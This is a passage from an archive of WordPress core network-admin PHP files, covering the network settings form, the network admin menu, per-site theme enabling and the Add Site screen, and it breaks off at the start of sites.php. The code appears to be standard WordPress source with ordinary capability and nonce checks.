					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea>
					<p class="description" id="welcome-user-email-desc">
						<?php _e( 'The welcome email sent to new users.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th>
				<td>
					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea>
					<p class="description" id="first-post-desc">
						<?php _e( 'The first post on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th>
				<td>
					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea>
					<p class="description" id="first-page-desc">
						<?php _e( 'The first page on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th>
				<td>
					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea>
					<p class="description" id="first-comment-desc">
						<?php _e( 'The first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" />
					<p class="description" id="first-comment-author-desc">
						<?php _e( 'The author of the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
					<p class="description" id="first-comment-email-desc">
						<?php _e( 'The email address of the first comment author on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" />
					<p class="description" id="first-comment-url-desc">
						<?php _e( 'The URL for the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Upload Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Site upload space' ); ?></th>
				<td>
					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?> />
						<?php
						printf(
							/* translators: %s: Number of megabytes to limit uploads to. */
							__( 'Limit total size of files uploaded to %s MB' ),
							'</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />'
						);
						?>
					</label><br />
					<p class="screen-reader-text" id="blog-upload-space-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in megabytes' );
						?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th>
				<td>
					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" />
					<p class="description" id="upload-filetypes-desc">
						<?php _e( 'Allowed file types. Separate types by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th>
				<td>
					<?php
						printf(
							/* translators: %s: File size in kilobytes. */
							__( '%s KB' ),
							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
						);
						?>
					<p class="screen-reader-text" id="fileupload-maxk-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in kilobytes' );
						?>
					</p>
				</td>
			</tr>
		</table>

		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			?>
			<h2><?php _e( 'Language Settings' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
					<td>
						<?php
						$lang = get_site_option( 'WPLANG' );
						if ( ! in_array( $lang, $languages, true ) ) {
							$lang = '';
						}

						wp_dropdown_languages(
							array(
								'name'         => 'WPLANG',
								'id'           => 'WPLANG',
								'selected'     => $lang,
								'languages'    => $languages,
								'translations' => $translations,
								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
							)
						);
						?>
					</td>
				</tr>
			</table>
			<?php
		}
		?>

		<?php
		$menu_perms = get_site_option( 'menu_items' );
		/**
		 * Filters available network-wide administration menu options.
		 *
		 * Options returned to this filter are output as individual checkboxes that, when selected,
		 * enable site administrator access to the specified administration menu in certain contexts.
		 *
		 * Adding options for specific menus here hinges on the appropriate checks and capabilities
		 * being in place in the site dashboard on the other side. For instance, when the single
		 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
		 * screen in their individual sites' dashboards.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $admin_menus Associative array of the menu items available.
		 */
		$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );

		if ( $menu_items ) :
			?>
			<h2><?php _e( 'Menu Settings' ); ?></h2>
			<table id="menu" class="form-table">
				<?php $enable_administration_menus_title = __( 'Enable administration menus' ); ?>
				<tr>
					<th scope="row"><?php echo $enable_administration_menus_title; ?></th>
					<td>
						<?php
						echo '<fieldset><legend class="screen-reader-text">' . $enable_administration_menus_title . '</legend>';

						foreach ( (array) $menu_items as $key => $val ) {
							echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>';
						}

						echo '</fieldset>';
						?>
					</td>
				</tr>
			</table>
			<?php
		endif;
		?>

		<?php
		/**
		 * Fires at the end of the Network Settings form, before the submit button.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_options' );
		?>
		<?php submit_button(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
menu.php000064400000011276152204755650006243 0ustar00<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
plugins.php000064400000000371152204755650006752 0ustar00<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
site-themes.php000064400000015302152204755650007520 0ustar00<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = $_REQUEST['s'] ?? '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes, false );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $enabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $disabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'No theme selected.' ),
		array(
			'type'        => 'error',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
update-core.php000064400000000375152204755650007505 0ustar00<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
setup.php000064400000000367152204755650006436 0ustar00<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
site-new.php000064400000023007152204755650007025 0ustar00<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" enctype="multipart/form-data" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
				<span class="code">
					<?php if ( is_subdomain_install() ) : ?>
						<input name="blog[domain]" type="text" class="regular-text code" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><!--
						--><code class="no-break"><?php echo esc_html( '.' . preg_replace( '|^www\.|', '', get_network()->domain ) ); ?></code>
					<?php else : ?>
						<code class="no-break"><?php echo esc_html( get_network()->domain . get_network()->path ); ?></code><!--
						--><input name="blog[domain]" type="text" class="regular-text code" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
					<?php endif; ?>
				</span>
				<p class="description" id="site-address-desc">
					<?php _e( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ); ?>
				</p>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
plugin-editor.php000064400000000412152204755650010047 0ustar00<?php
/**
 * Plugin file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
sites.php000064400000034374152204755650006432 0ustar00<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
		'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Flag for Deletion, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete Permanently which is a permanent action after the confirmation screen.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end of the live site.' ) . '</li></ul>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
